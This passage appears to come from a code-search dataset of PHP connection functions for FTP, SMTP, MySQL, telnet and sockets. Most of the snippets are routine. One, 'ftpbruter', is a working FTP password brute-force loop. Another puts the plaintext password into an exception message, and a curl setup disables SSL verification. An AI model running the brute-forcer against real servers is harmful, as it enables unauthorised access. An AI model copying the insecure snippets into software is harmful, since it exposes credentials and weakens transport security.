Ftp Directory failed. Directory: '\n . $this->initial_directory);\n }\n\n if ($results === false) {\n\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Unable to change directory: '\n . $this->root . ' for Ftp Server '\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n return;\n }", "function setFtp_port($ftp_port) {\n\t\tif( !isset($this->conn_id) ) {\n\t\t\t$this->ftp_port = $ftp_port;\n\t\t\treturn TRUE;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "public function connect($host=NULL,$username='',$password='',$passive=NULL,$port=NULL)\n\t{\n\t\t//Initlize Params\n\t\tif (is_array($host) and $host) {\n\t\t\t$this->initialize($host);\n\t\t} elseif ($host) {\n\t\t\t$config = array(\n\t\t\t\t'host' => $host,\n\t\t\t\t'username' => $username,\n\t\t\t\t'password' => $password\n\t\t\t);\n\t\t\tis_null($passive) || $config['passive'] = $passive;\n\t\t\tis_null($port) || $config['port'] = $port;\n\t\t\t$this->initialize($config);\n\t\t} elseif (!$this->host) {\n\t\t\tshowError('FTP connect has no config, Connect been stopped.',FALSE);\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t//Connect\n\t\t$this->conn = @ftp_connect($this->host,$this->port);\n\n\t\tif (!$this->conn) {\n\t\t\tshowError(\"Unable to connect to FTP server '{$this->host}'\",FALSE);\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t//Login\n\t\t$login = @ftp_login($this->conn,$this->username,$this->password);\n\t\tif (!$login) {\n\t\t\tshowError(\"Unable to login to FTP server\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tif ($this->passive) {\n\t\t\tftp_pasv($this->conn,TRUE);\n\t\t}\n\n\t\treturn TRUE;\n\t}", "public function login()\n {\n $logged_in = ftp_login($this->getConnection(), $this->getUsername(), $this->getPassword());\n\n if ($logged_in === true) {\n } else {\n throw new \\RuntimeException\n ('Filesystem Adapter Ftp: Unable to login with Password: ' . $this->getPassword()\n . ' Password: ' . $this->getPassword());\n }\n\n return true;\n }", "function ftpclient($ftp = null, $cmd = '', $arg = null, $arg2 = null) {\nstatic $conn = null;\n\n\tif ($ftp == null) {\n\t\treturn $conn;\n\t}\n\n\tif ($cmd == '') {\n\t\tif (!$conn) {\n\t\t\t$res = ftpclient($ftp,'connect');\n\t\t\tif ($res) {\n\t\t\t\t$u = ftpclient_value($ftp,'user');\n\t\t\t\tif ($u && !ftpclient($ftp,'login')) {\n\t\t\t\t\tftpclient($ftp,'close');\n\t\t\t\t\t$res = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$conn = $res;\n\t\t}\n\t\treturn $conn;\n\t}\n\n\tif ($cmd == 'connect') {\n\t\t$p = ftpclient_value($ftp,'port',21);\n\t\t$t = ftpclient_value($ftp,'timeout',90);\n\t\t$res = ftp_connect($ftp['host'],$p,$t);\n\t\tif ($res) {\n\t\t\t$conn = $res;\n\t\t}\n\t\treturn $conn;\n\t}\n\n\tif (!$conn) {\n\t\treturn $conn;\n\t}\n\n\tswitch $cmd {\n\tcase 'quit':\n\tcase 'close':\n\t\t$res = ftp_close($conn);\n\t\t$conn = null;\n\t\tbreak;\n\tcase 'login':\n\t\t$res = ftp_login($conn,$ftp['user'],$ftp['password']);\n\t\tif (!$res && empty($ftp['stay'])) {\n\t\t\tftpclient($ftp,'close');\n\t\t\t$conn = null;\n\t\t}\n\t\tbreak;\n\tcase 'pasv':\n\t\t$p = ftpclient_value($ftp,'pasv',true);\n\t\t$res = ftp_pasv($conn,$p);\n\t\tbreak;\n\tcase 'pwd':\n\t\t$res = ftp_pwd($conn);\n\t\tbreak;\n\tcase 'get':\n\t\t$m = ftpclient_value($ftp,'mode',FTP_BINARY);\n\t\t$res = ftp_get($conn,$arg,$arg2,$m);\n\t\tbreak;\n\tcase 'put':\n\t\t$m = ftpclient_value($ftp,'mode',FTP_BINARY);\n\t\t$res = ftp_put($conn,$arg,$arg2,$m);\n\t\tbreak;\n\tcase default:\n\t\t$res = false;\n\t\tbreak;\n\t}\n\n\treturn $res;\n}", "function connect($server, $port = 21)\r\n {\r\n\t\t$this->debug(\"Trying to \".$server.\":\".$port.\" ...\\n\");\r\n \tif ($this->_use_mod_ftp) {\r\n \t\t$this->_socket = ftp_connect($server, $port);\r\n \t} else {\r\n \t \t$this->_socket = @fsockopen($server, $port, $errno, $errstr, $this->_timeout);\r\n \t}\r\n\r\n \tif ($this->_socket && $this->ok() ) {\r\n \t\t$this->debug(\"Connected to remote host \\\"\".$server.\":\".$port.\"\\\"\\n\");\r\n \t\treturn true;\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host \\\"\".$server.\":\".$port.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : \".$errstr.\" (\".$errno.\")\\n\");\r\n \t\treturn false;\r\n \t}\r\n }", "public function connectUrl($url)\n {\n if(!preg_match('!^ftp(?<ssl>s?)://(?<user>[^:]+):(?<pass>[^@]+)@(?<host>[^:/]+)(?:[:](?<port>\\d+))?(?<path>.*)$!i', $url, $match)) {\n throw new FtpException('Url must be in format: ftp[s]://username:password@hostname[:port]/[path]');\n }\n\n // default port if necessary\n if (empty($match['port'])) {\n $match['port'] = '21';\n }\n\n // determine and invoke connect method\n $connectMethod = (bool) $match['ssl'] ? 'ssl_connect' : 'connect';\n $this->$connectMethod($match['host'], $match['port']);\n\n // authenticate\n if (!$this->login($match['user'], $match['pass'])) {\n throw new FtpException(\"Login failed as \" . $match['user']);\n }\n\n // normalize and change to path, if one given\n $match['path'] = trim($match['path'], '/');\n if (!empty($match['path'])) {\n $this->chdir(\"/$match[path]/\");\n }\n }", "function initFtp($connection) {\n $wrapper = new FTPWrapper($connection);\n\n /**\n * This factory creates Permissions models from a given permission string (rw-)\n */\n $permFactory = new PermissionsFactory;\n\n /**\n * This factory creates Filesystem models from a given string, ex:\n * drwxr-x--- 3 vincent vincent 4096 Jul 12 12:16 public_ftp\n *\n * It needs the PermissionsFactory so as to instanciate the given permissions in\n * its model\n */\n $fsFactory = new FilesystemFactory($permFactory);\n\n /**\n * If your server runs on WINDOWS, you can use a Windows filesystem factory instead\n */\n // $fsFactory = new WindowsFilesystemFactory;\n\n /**\n * This manager focuses on operations on remote files and directories\n * It needs the FTPWrapper so as to do operations on the serveri\n * It needs the FilesystemFfactory so as to create models\n */\n $manager = new FTPFilesystemManager($wrapper, $fsFactory);\n\n\n /**\n * This is the downloader voter. It loads multiple DownloaderVotable class and\n * checks which one is needed on given options\n */\n $dlVoter = new DownloaderVoter;\n\n /**\n * Loads up default FTP Downloaders\n * It needs the FTPWrapper to be able to share them with the downloaders\n */\n $dlVoter->addDefaultFTPDownloaders($wrapper);\n\n /**\n * This is the uploader voter. It loads multiple UploaderVotable class and\n * checks which one is needed on given options\n */\n $ulVoter = new UploaderVoter;\n\n /**\n * Loads up default FTP Uploaders\n * It needs the FTPWrapper to be able to share them with the uploaders\n */\n $ulVoter->addDefaultFTPUploaders($wrapper);\n\n /**\n * This is the creator voter. It loads multiple CreatorVotable class and\n * checks which one is needed on the given options\n */\n $crVoter = new CreatorVoter;\n\n /**\n * Loads up the default FTP creators.\n * It needs the FTPWrapper and the FTPFilesystemManager to be able to share\n * them whith the creators\n */\n $crVoter->addDefaultFTPCreators($wrapper, $manager);\n\n /**\n * This is the deleter voter. It loads multiple DeleterVotable classes and\n * checks which one is needed on the given options\n */\n $deVoter = new DeleterVoter;\n\n /**\n * Loads up the default FTP deleters.\n * It needs the FTPWrapper and the FTPFilesystemManager to be able to share\n * them with the deleters\n */\n $deVoter->addDefaultFTPDeleters($wrapper, $manager);\n\n /**\n * Finally creates the main FTP\n * It needs the manager to do operations on files\n * It needs the download voter to pick-up the right downloader on ->download\n * It needs the upload voter to pick-up the right uploader on ->upload\n * It needs the creator voter to pick-up the right creator on ->create\n * It needs the deleter voter to pick-up the right deleter on ->delete\n */\n return new FTP($manager, $dlVoter, $ulVoter, $crVoter, $deVoter);\n\n}", "function __construct($conn)\n {\n $this->connect = ftp_connect($conn);\n\n if (!$this->connect) {\n echo \"Ftp don't connect\\n\";\n }\n\n return $this->connect;\n }", "private function connect() {\n\t\tif(strtolower(trim($this->secure)) == 'ssl') {\n\t\t\t$this->server = 'ssl://' . $this->server;\n\t\t}\n\t\t$this->conn = fsockopen($this->server, $this->port, $errno, $errstr, $this->timeout);\n\t\tif (substr($this->getServerResponse(),0,3)!='220') { return false; }\n\t\treturn true;\n\t}", "function login($username = null, $password = null) {\r\n\t\tif ( $this->_handle === null ) {\r\n\t\t\t$res = $this->connect();\r\n\t\t}\r\n\t\tif ( $username !== null ) {\r\n\t\t\t$this->setUsername($username);\r\n\t\t}\r\n\t\tif ( $password !== null ) {\r\n\t\t\t$this->setPassword($password);\r\n\t\t}\r\n\t\t\r\n\t\t$res = @ftp_login($this->_handle, $this->getUsername(), $this->getPassword());\r\n\t\t\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpLoginException($this->getUsername(), $this->getPassword());\r\n\t\t} else {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "protected function _deleteFtpFiles()\n {\n if (is_callable('ftp_connect')) {\n $ftpServer = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_SERVER);\n $ftpUserName = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_USER);\n $ftpPass = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PASSWORD);\n $ftpPath = trim(Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PATH), '/');\n if ($ftpPath) {\n $ftpPath = $ftpPath.'/';\n }\n\n try {\n $connId = ftp_connect($ftpServer);\n\n $loginResult = ftp_login($connId, $ftpUserName, $ftpPass);\n if (!$loginResult) {\n return false;\n }\n ftp_pasv($connId, true);\n\n $ftpDir = $ftpPath?$ftpPath:'.';\n $nlist = ftp_nlist($connId, $ftpDir);\n if ($nlist === false) {\n return false;\n }\n foreach ($nlist as $file) {\n if (!preg_match('/\\.[xX][mM][lL]$/', $file)) {\n ftp_delete($connId, $file);\n }\n }\n\n ftp_close($connId);\n } catch (Exception $e) {\n Mage::log($e->getMessage());\n return false;\n }\n return true;\n } else {\n return false;\n }\n }", "protected function connect() {\r\n\t\t$this->conn = fsockopen ( $this->server, $this->port, $errno, $errstr, $this->timeout );\r\n\t\tif (substr ( $this->getServerResponse (), 0, 3 ) != '220') {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "protected function connect(){\n $host = ($this->secure == 'ssl') ? 'ssl://' . $this->host : $this->host;\n $this->smtp = fsockopen($host, $this->port);\n //set block mode\n // stream_set_blocking($this->smtp, 1);\n if (!$this->smtp){\n return false;\n }\n if ($this->getCode() != 220){\n return false;\n }\n return true;\n }", "public function connect($host, $port = 21, $timeout = 60){\n\t\t$connect = 'ftp_connect';\n\t\tif (!is_callable($connect))\n\t\t\treturn false;\n\n\t\tif (!($this->connection = @call_user_func($connect, $host, $port, $timeout))){\n\t\t\t$this->error = 'timeout / dns problem';\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "public function connect($host, $port = \"\", $timeout = \"\") {\n\t\tif (! $this->verifie_connexion ( false )) {\n\t\t\t$this->conn_id = false;\n\t\t\t$this->onDebug ( \"Host : \" . $host, 2 );\n\t\t\tif ($host != \"\") {\n\t\t\t\t$this->host = $host;\n\t\t\t} else {\n\t\t\t\treturn $this->onError ( \"Il faut un serveur pour se connecter.\" );\n\t\t\t}\n\t\t\tif ($port != \"\")\n\t\t\t\t$this->port = $port;\n\t\t\tif ($timeout != \"\")\n\t\t\t\t$this->timeout = $timeout;\n\t\t\t\n\t\t\t$essai = 0;\n\t\t\t$sleep = 0;\n\t\t\t//NbRetry d'essai de connexion\n\t\t\twhile ( $this->conn_id === false && $essai < $this->getNbRetry () ) {\n\t\t\t\tsleep ( $sleep );\n\t\t\t\t$this->conn_id = ftp_connect ( $this->host, $this->port, $this->timeout );\n\t\t\t\t$essai ++;\n\t\t\t\t$sleep ++;\n\t\t\t}\n\t\t\tif ($this->conn_id) {\n\t\t\t\t$essai = 0;\n\t\t\t\t$sleep = 0;\n\t\t\t\twhile ( $this->connected === false && $essai < $this->getNbRetry () ) {\n\t\t\t\t\tsleep ( $sleep );\n\t\t\t\t\t$this->connected = ftp_login ( $this->conn_id, $this->user, $this->password );\n\t\t\t\t\t$essai ++;\n\t\t\t\t\t$sleep ++;\n\t\t\t\t}\n\t\t\t\tif ($this->connected === false) {\n\t\t\t\t\treturn $this->onError ( \"Erreur durant le login sur la connexion\" );\n\t\t\t\t} else {\n\t\t\t\t\t//Si il y a une connexion on valide (ou non) le mode passif\n\t\t\t\t\t$this->passiv_mode ();\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\treturn $this->onError ( \"Erreur durant la creation de la connexion\" );\n\t\t\t\n\t\t\t$this->onDebug ( $this, 2 );\n\t\t}\n\t\t\n\t\treturn $this->connected;\n\t}", "function closeFtpConnection() {\n global $objFtp;\n\n if (isset($objFtp)) {\n @ftp_close($objFtp);\n }\n }", "public function deleteFtp($ftp){\n\t\t\tif(isset($this->_connexionId[$ftp]) && $this->_connected[$ftp] == true){\n\t\t\t\tftp_close($this->_connexion);\n\n\t\t\t\tunset($this->_connexionId[$ftp]);\n\t\t\t\tunset($this->_connected[$ftp]);\n\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telseif(isset($this->_connexionId[$ftp]) && $this->_connected[$ftp] == false){\n\t\t\t\tunset($this->_connexionId[$ftp]);\n\t\t\t\tunset($this->_connected[$ftp]);\n\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$this->_addError('La connexion ftp que vous voulez supprimer n\\'existe pas', __FILE__, __LINE__, ERROR);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "private function aim_connect()\r\n\t{\r\n\t\tif ($this->resource = fsockopen($this->conn['toc_serv'], $this->conn['toc_port'])) {\r\n\t\t\t@readfile('tac.asc');\r\n\t\t\t$this->aim_login();\r\n\t\t\treturn true;\r\n\t\t} else {\r\n\t\t\tthrow new TACException('Could not make connection to TOC server');\r\n\t\t}\r\n return false;\r\n\t}", "public function isFile()\n {\n $this->is_file = false;\n\n try {\n\n if (@ftp_get($this->getConnection(), $this->temp, $this->path, Ftp_ASCII, 0)) {\n $this->is_file = true;\n }\n\n } catch (\\Exception $e) {\n }\n\n return;\n }", "public function login($login = 'anonymous', $pass = null){\n\t\t$passiveMode = true;\n\t\tif (!@ftp_login($this->connection, $login, $pass))\n\t\t{\n\t\t\t$this->error = 'access denied';\n\t\t\treturn false;\n\t\t}\n\n\t\tif($passiveMode && !ftp_pasv($this->connection, true)){\n\t\t\t$this->error = \"ftp passive mode not available\";\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\treturn true;\n\t}", "private function doConnect()\n { \n $connection = false;\n \n if( $this->smtpConnect() ) {\n \n $this->makeEhlo();\n \n if( ! empty($this->smtpUsername) ){\n if( ! $this->smtpLogin() )\n $connection = false;\n }\n \n $connection = true;\n }\n \n if( ! $connection )\n return false;\n \n return $connection;\n }", "function ftp($host, $username, $password, $root_path, $port = 21, $timeout = 10)\n\t{\n\t\t$this->host\t\t\t= $host;\n\t\t$this->port\t\t\t= $port;\n\t\t$this->username\t\t= $username;\n\t\t$this->password\t\t= $password;\n\t\t$this->timeout\t\t= $timeout;\n\n\t\t// Make sure $this->root_path is layed out the same way as the $user->page['root_script_path'] value (/ at the end)\n\t\t$this->root_path\t= str_replace('\\\\', '/', $this->root_path);\n\n\t\tif (!empty($root_path))\n\t\t{\n\t\t\t$this->root_path = (($root_path[0] != '/' ) ? '/' : '') . $root_path . ((substr($root_path, -1, 1) == '/') ? '' : '/');\n\t\t}\n\n\t\t// Init some needed values\n\t\ttransfer::transfer();\n\n\t\treturn;\n\t}", "public function wp_ftp_migration($opts, $type_ftp = 'ftp'){\n\n\t\t$file \t\t\t= $this->_file_destination;\n\t\t$remote_file \t= $this->_file_destination;\n\n\t\tif($type_ftp === 'sftp'){\n\t\t\t$connection = ssh2_connect($opts['ftp_url'], 22);\n\t\t\tssh2_auth_password($connection, $opts['user_ftp'], $opts['ftp_pass']);\n\n\t\t\tssh2_scp_send($connection, 'migration.php', rtrim($opts['ftp_folder'], '/').'/migration.php', 0644);\n\t\t\tssh2_scp_send($connection, $this->_file_sql, rtrim($opts['ftp_folder'], '/').'/'.$this->_file_sql, 0644);\n\t\t\tssh2_scp_send($connection, $file, rtrim($opts['ftp_folder'], '/').'/'.$remote_file, 0644);\n\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tif($type_ftp === 'ftp'){\n\t\t\t$conn_id = ftp_connect($opts['ftp_url']);\n\t\t}elseif ($type_ftp === 'ftps') {\n\t\t\t$conn_id = ftp_ssl_connect($opts['ftp_url']);\n\t\t}\n\n\t\tif($conn_id == FALSE){\n\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t$login_result = ftp_login($conn_id, $opts['user_ftp'], $opts['ftp_pass']);\n\t\tif($login_result == FALSE){\n\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t// Envoie de tous les fichiers en FTP\n\t\t$this->ftp_putAll($conn_id, '.', rtrim($opts['ftp_folder'], '/'));\n\t\t\n\t\tftp_close($conn_id);\n\n\t\treturn TRUE;\n\t}", "function ftp_fsock($host, $username, $password, $root_path, $port = 21, $timeout = 10)\n\t{\n\t\t$this->host\t\t\t= $host;\n\t\t$this->port\t\t\t= $port;\n\t\t$this->username\t\t= $username;\n\t\t$this->password\t\t= $password;\n\t\t$this->timeout\t\t= $timeout;\n\n\t\t// Make sure $this->root_path is layed out the same way as the $user->page['root_script_path'] value (/ at the end)\n\t\t$this->root_path\t= str_replace('\\\\', '/', $this->root_path);\n\n\t\tif (!empty($root_path))\n\t\t{\n\t\t\t$this->root_path = (($root_path[0] != '/' ) ? '/' : '') . $root_path . ((substr($root_path, -1, 1) == '/') ? '' : '/');\n\t\t}\n\n\t\t// Init some needed values\n\t\ttransfer::transfer();\n\n\t\treturn;\n\t}", "function login($l, $p)\n {\n $this->login = ftp_login($this->connect, $l, $p);\n\n if (!$this->login) {\n echo \"Ftp don't work\\n\";\n }\n ftp_pasv($this->connect, true);\n\n return $this->login;\n }", "protected function _connect() {\n\t\t$ssl = $this->dsn_part('scheme') == 'https' ? 'ssl://' : '';\n\t\t$this->socket = @fsockopen($ssl.$this->dsn_part('host'), $this->dsn_part('port'), $err_num, $err_string);\n\t\tif(!$this->socket) {\n\t\t\tthrow new Exception('Could not open connection to '.$this->dsn_part('host').':'.$this->dsn_part('port').': '.$err_string.' ('.$err_num.')');\n\t\t\treturn FALSE;\n\t\t}\n\t\treturn TRUE;\n\t}", "public function connect() {\n\n // check if we need to convert host to IP\n if (!preg_match('/([0-9]{1,3}\\\\.){3,3}[0-9]{1,3}/', $this->host)) {\n\n $ip = gethostbyname($this->host);\n\n if ($this->host == $ip) {\n\n throw new \\Exception(\"Cannot resolve $this->host\");\n } else {\n $this->host = $ip;\n }\n }\n\n // attempt connection\n $this->socket = fsockopen($this->host, $this->port, $this->errno, $this->errstr, $this->timeout);\n\n if (!$this->socket) {\n throw new \\Exception(\"Cannot connect to \" . $this->host . \" on port \" . $this->port . \"\\n\" . $this->errstr . \": \" . $this->errstr);\n }\n\n return true;\n }", "public function setFtp(Ftp $ftp)\n {\n $this->ftp = $ftp;\n }", "private function doConnect () {\n\n\t// already connected?\n\tif (!empty($this->con) AND @mysql_ping($this->con)) return true;\n\n\t// connect to database\n\t$this->con = @mysql_connect($this->host, $this->user, $this->password);\n\tif ($this->con) $db = @mysql_select_db($this->database);\n\n\t// handle errors\n\tif (!$this->con OR !$db) return false;\n\n\treturn true;\n }", "protected function connect()\n {\n stream_set_blocking(STDIN, 0);\n $this->socket = fsockopen($this->config['hostname'], $this->config['port']);\n return (bool) $this->socket;\n }", "public function connect(){\r\n\t\t\r\n\t\t// check if we need to convert host to IP\r\n\t\tif (!preg_match('/([0-9]{1,3}\\\\.){3,3}[0-9]{1,3}/', $this->host)) {\r\n\t\t\t\r\n\t\t\t$ip = gethostbyname($this->host);\r\n\t\t\t\r\n\t\t\tif($this->host == $ip){\r\n\t\t\t\t\r\n\t\t\t\tthrow new Exception(\"Cannot resolve $this->host\");\r\n\t\t\t\t\r\n\t\t\t} else{\r\n\t\t\t\t$this->host = $ip; \r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// attempt connection\r\n\t\t$this->socket = fsockopen($this->host, $this->port, $this->errno, $this->errstr, $this->timeout);\r\n\t\t\r\n\t\tif (!$this->socket){ \t\r\n\t\t\tthrow new Exception(\"Cannot connect to $this->host on port $this->port\");\r\n\t\t}\r\n\t\t\r\n\t\treturn self::TELNET_OK;\r\n\t}", "public function connect() {\n\n\t\t$this->_httpq = new HttpQPlayer(conf('localplay_httpq_hostname'),conf('localplay_httpq_password'),conf('localplay_httpq_port'));\n\n\t\t// Test our connection by retriving the version\n\t\tif (!is_null($this->_httpq->version())) { return true; }\n\n\t\treturn false;\n\n\t}", "function connect($conn=false) {\n return true;\n }", "function connect()\n {\n switch ($this->engine)\n {\n case \"mysql\":\n $this->connection\n = mysql_pconnect($this->host, $this->user, $this->passwd);\n if ($this->connection)\n {\n $this->resetError();\n return true;\n }\n else\n {\n $this->setError(\n \"Could not connect to the database server.\",\n \"connect #001\"\n );\n return false;\n }\n break;\n }\n }", "public function open($hostname) {\n if (true === $this->config->useSSL) {\n $this->connection = ftp_ssl_connect($hostname, $this->config->port, $this->config->timeout);\n } else {\n $this->connection = ftp_connect($hostname, $this->config->port, $this->config->timeout);\n }\n\n if (false === $this->connection) {\n throw new FtpClientConnectException('Could not connect to host ' . $hostname);\n }\n return $this;\n }", "public function connect(): bool\n {\n $this->resource = stream_socket_client(\n $this->remote,\n $this->errorCode,\n $this->errorMessage,\n $this->timeout,\n $this->flags\n );\n if (!is_resource($this->resource)) {\n return false;\n }\n stream_set_timeout(\n $this->resource,\n $this->timeout\n );\n return true;\n }", "function is_connected($domain = 'www.perfexcrm.com')\r\n{\r\n $connected = @fsockopen($domain, 80);\r\n //website, port (try 80 or 443)\r\n if ($connected) {\r\n $is_conn = true; //action when connected\r\n fclose($connected);\r\n } else {\r\n $is_conn = false; //action in connection failure\r\n }\r\n return $is_conn;\r\n}", "function ftpbruter() {\n \n #DEFINA AQUI AS VARIÁVEIS PARA O ATAQUE\n $user = 'ftptest';\n $host = '192.168.0.102';\n $passlist = file_get_contents('passtest.txt');\n $port = 21;\n $timeout = 50;\n \n $passes = explode(\"\\n\", $passlist);\n $i = 1;\n foreach ($passes as $pass) {\n error_reporting(0);\n echo \"[*] Testando \" . $user . \" && \" . $pass . \"\\n\";\n $con = ftp_connect($host, $port, $timeout);\n $login = ftp_login($con, $user, $pass);\n\n if (!$login) {\n ftp_close($con);\n $i++;\n\n } else {\n echo \"Password encontrado\\n\";\n echo \"Efetuadas \" . $i . \" tentativas\\n\";\n echo \"User: \" . $user . \" Password: \" . $pass . \"\\n\";\n break;\n }\n }\n}", "public function __construct() {\n\n\t\tparent::__construct();\n\n\t\t// Handle errors from ftp_* functions that throw warnings for things like invalid username / password, failed directory changes, and failed data connections\n\t\tset_error_handler( array( $this, 'handle_errors' ) );\n\n\t\t// setup connection\n\t\t$this->link = null;\n\n\t\tif ( 'ftps' == $this->security && function_exists( 'ftp_ssl_connect' ) ) {\n\n\t\t\t$this->link = ftp_ssl_connect( $this->server, $this->port, $this->timeout );\n\n\t\t} elseif ( 'ftps' !== $this->security ) {\n\n\t\t\t$this->link = ftp_connect( $this->server, $this->port, $this->timeout );\n\t\t}\n\n\t\t// check for successful connection\n\t\tif ( ! $this->link ) {\n\n\t\t\tthrow new Exception( __( \"Could not connect via FTP to {$this->server} on port {$this->port}, check server address and port.\", 'woocommerce-customer-order-csv-export' ) );\n\t\t}\n\n\t\t// attempt to login, note that incorrect credentials throws an E_WARNING PHP error\n\t\tif ( ! ftp_login( $this->link, $this->username, $this->password ) ) {\n\n\t\t\tthrow new Exception( __( \"Could not authenticate via FTP with username {$this->username} and password <hidden>. Check username and password.\", 'woocommerce-customer-order-csv-export' ) );\n\t\t}\n\n\t\t// set passive mode if enabled\n\t\tif ( $this->passive_mode ) {\n\n\t\t\t// check for success\n\t\t\tif ( ! ftp_pasv( $this->link, true ) ) {\n\n\t\t\t\tthrow new Exception( __( 'Could not set passive mode', 'woocommerce-customer-order-csv-export' ) );\n\t\t\t}\n\t\t}\n\n\t\t// change directories if initial path is populated, note that failing to change directory throws an E_WARNING PHP error\n\t\tif ( $this->path ) {\n\n\t\t\t// check for success\n\t\t\tif ( ! ftp_chdir( $this->link, '/' . $this->path ) ) {\n\n\t\t\t\tthrow new Exception( __( \"Could not change directory to {$this->path} - check path exists.\", 'woocommerce-customer-order-csv-export' ) );\n\t\t\t}\n\t\t}\n\t}", "private static function isWinFtp($path){\n\t\t\tlist($url,$cred,$trgt,$pth)=self::usrpwd($path);\n\t\t\tif(!isset($GLOBALS['isWinFtp']))$GLOBALS['isWinFtp']=array();\n\t\t\tif(!isset($GLOBALS['isWinFtp'][$url])){\n\t\t\t\t$GLOBALS['isWinFtp'][$url]=false;\n\t\t\t\t$GLOBALS['isWinFtpH']=$url;\n\t\t\t\tif(!function_exists('k2f_ftp_checkWinFtpHeaders')){\n\t\t\t\t\tfunction k2f_ftp_checkWinFtpHeaders($ch,$hdr){\n\t\t\t\t\t\tif(CFG::get('DEBUG_VERBOSE'))xlog('FTPWRP: Read header: ',$hdr);\n\t\t\t\t\t\tif(strstr(strtolower($hdr),'windows')!==false)\n\t\t\t\t\t\t\t$GLOBALS['isWinFtp'][$GLOBALS['isWinFtpH']]=true;\n\t\t\t\t\t\treturn strlen($hdr);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$ch=self::setup($url,$cred);\n\t\t\t\tcurl_setopt($ch,CURLOPT_HEADERFUNCTION,'k2f_ftp_checkWinFtpHeaders');\n\t\t\t\tcurl_setopt($ch,CURLOPT_QUOTE,array('SYST'));\n\t\t\t\tcurl_exec($ch);\n\t\t\t\tcurl_close($ch);\n\t\t\t}\n\t\t\txlog('FTPWRP: Is FTP Server on Windows?',$GLOBALS['isWinFtp'][$url]);\n\t\t\treturn $GLOBALS['isWinFtp'][$url];\n\t\t}", "function is_connected()\n\t{\n\t\t$connected = @fsockopen(\"www.google.com\", 80); //website, port (try 80 or 443)\n\t\tif ($connected){\n\t\t \t$is_conn = true; //action when connected\n\t\t\tfclose($connected);\n\t\t}else{\n\t\t\t$is_conn = false; //action in connection failure\n\t\t}\n\t\treturn $is_conn;\n\n\t}", "private function connect () {\r\n\t\t// makes three attemps\r\n\t\t$n=0;\r\n\t\twhile (!$this->connected = @mysql_connect($this->server[\"sql\"][\"server\"], $this->server[\"sql\"][\"login\"], $this->server[\"sql\"][\"password\"]) AND $n<3) {\r\n\t\t\tsleep(1);$n++;\r\n\t\t}\r\n\t\tif ($this->connected) {\r\n mysql_set_charset('utf8', $this->connected);\r\n\t\t\tif (!@mysql_select_db($this->server[\"sql\"][\"base\"])) {\r\n\t\t\t\t$this->code = \"error\";\r\n\t\t\t\t$this->error = \"FATAL ERROR: Could not connect to {$this->server[\"sql\"][\"base\"]} base.\";\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\t$this->code = \"error\";\r\n\t\t\t$this->error = \"FATAL ERROR: Could not connect to {$this->server[\"status\"]} server.\";\r\n\t\t}\r\n\t\treturn $this->connected;\r\n\t}", "public function SmtpConnect() {\n\t if(is_null($this->smtp)) {\n\t \t $this->smtp_conn = 0;\n \t\t\t $this->error = null;\n \t\t\t $this->helo_rply = null;\n \t\t\t $this->do_debug = 0;\n\t }\n\t\n\t $this->do_debug = $this->SMTPDebug;\n\t $hosts = explode(';', $this->Host);\n\t $index = 0;\n\t $connection = $this->Connected();\n\t\n\t // Retry while there is no connection\n\t \n while($index < count($hosts) && !$connection) {\n $hostinfo = array();\n if (preg_match('/^(.+):([0-9]+)$/', $hosts[$index], $hostinfo)) {\n $host = $hostinfo[1];\n $port = $hostinfo[2];\n } else {\n $host = $hosts[$index];\n $port = $this->Port;\n }\n\n $tls = ($this->SMTPSecure == 'tls');\n $ssl = ($this->SMTPSecure == 'ssl');\n\n if ($this->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout)) {\n\n $hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname());\n $this->Hello($hello);\n\n if ($tls) {\n if (!$this->smtp->StartTLS()) {\n \techo 'tls';\n }\n\n //We must resend HELO after tls negotiation\n $this->smtp->Hello($hello);\n }\n\n $connection = true;\n if ($this->SMTPAuth) {\n if (!$this->Authenticate($this->Username, $this->Password)) {\n \techo 'authenticate';\n }\n }\n }\n $index++;\n if (!$connection) {\n \techo 'connect_host';\n }\n }\n\t return true;\n\t}", "private static function setup($url,$cred=':'){\n\t\t\txlog('FTPWRP: Connecting to \"'.$url.'\" ('.($cred==':'?'no user/pass':$cred).')');\n\t\t\t$ch = curl_init();\n\t\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\t\tif($cred!=':')curl_setopt($ch, CURLOPT_USERPWD, $cred);\n\t\t\tif(strstr($url,'ftps:')!==false){\n\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);\n\t\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);\n\t\t\t\tcurl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY);\n\t\t\t}\n\t\t\tcurl_setopt($ch, CURLOPT_FTP_USE_EPSV, TRUE);\n\t\t\tcurl_setopt($ch, 